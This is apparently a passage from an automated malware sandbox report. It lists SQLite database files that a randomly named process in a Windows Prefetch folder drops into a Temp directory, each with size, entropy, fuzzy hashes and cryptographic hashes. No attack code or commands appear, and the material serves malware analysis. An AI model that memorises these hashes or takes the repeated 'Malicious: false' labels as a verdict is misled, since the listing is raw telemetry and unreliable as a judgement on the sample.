Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qte18p81kf

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r6GFku4Xwu

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r870sFxxrQ

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rr50jwEfjj

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sT7v3y8Ay2

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8746135976761988
Encrypted:	false
SSDEEP:	96:O8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:O8yLG7IwRWf4
MD5:	9E68EA772705B5EC0C83C2A97BB26324
SHA1:	243128040256A9112CEAC269D56AD6B21061FF80
SHA-256:	17006E475332B22DB7B337F1CBBA285B3D9D0222FD06809AA8658A8F0E9D96EF
SHA-512:	312484208DC1C35F87629520FD6749B9DDB7D224E802D0420211A7535D911EC1FA0115DC32D8D1C2151CF05D5E15BBECC4BCE58955CFFDE2D6D5216E5F8F3BDF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sdRLUSSXm3

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\snT06ZLO3T

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sxFpzcIIQL

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\t7ofdTq1xz

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tC44rMbrz3

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\tkbGZVImrz

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u5HC4uU8a8

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uG1xhIgvLR

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uUrmyKQQDm

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vGMAbyiMBB

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vNf33pNqgF

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vXpz1Lwqet

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vbLJaYmfkI

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vmmgZy4H6a

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vruohWsJk5

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wPBF0de3wp

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8439810553697228
Encrypted:	false
SSDEEP:	24:TLyAF1kwNbXYFpFNYcw+6UwcQVXH5fBO9p7n52GmCWGf+dyMDCFVE1:TeAFawNLopFgU10XJBOB2Gbf+ba+
MD5:	9D46F142BBCF25D0D495FF1F3A7609D3
SHA1:	629BD8CD800F9D5B078B5779654F7CBFA96D4D4E
SHA-256:	C11B443A512184E82D670BA6F7886E98B03C27CC7A3CEB1D20AD23FCA1DE57DA
SHA-512:	AC90306667AFD38F73F6017543BDBB0B359D79740FA266F587792A94FDD35B54CCE5F6D85D5F6CB7F4344BEDAD9194769ABB3864AAE7D94B4FD6748C31250AC2
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wSMyNRRzBD

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wTAdJq2utv

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136413900497188
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6cV/04:MnlyfnGtxnfVuSVumEHV84
MD5:	429F49156428FD53EB06FC82088FD324
SHA1:	560E48154B4611838CD4E9DF4C14D0F9840F06AF
SHA-256:	9899B501723B97F6943D8FE6ABF06F7FE013B10A17F566BF8EFBF8DCB5C8BFAF
SHA-512:	1D76E844749C4B9566B542ACC49ED07FA844E2AD918393D56C011D430A3676FA5B15B311385F5DA9DD24443ABF06277908618A75664E878F369F68BEBE4CE52F
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wVdg0nux4S

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
SHA-512:	18BB9B498C225385698F623DE06F93F9CFF933FE98A6D70271BC6FA4F866A0763054A4683B54684476894D9991F64CAC6C63A021BDFEB8D493310EF2C779638D
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wVzAcLzeb4

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wvWN7p1VNU

Download File

Process:	C:\Windows\Prefetch\ReadyBoot\PfjsOcNiQfAmiszo.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x36, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.121297215059106
Encrypted:	false
SSDEEP:	384:72qOB1nxCkvSAELyKOMq+8yC8F/YfU5m+OlT:qq+n0E9ELyKOMq+8y9/Ow
MD5:	D87270D0039ED3A5A72E7082EA71E305
SHA1:	0FBACFA8029B11A5379703ABE7B392C4E46F0BD2
SHA-256:	F142782D1E80D89777EFA82C9969E821768DE3E9713FC7C1A4B26D769818AAAA
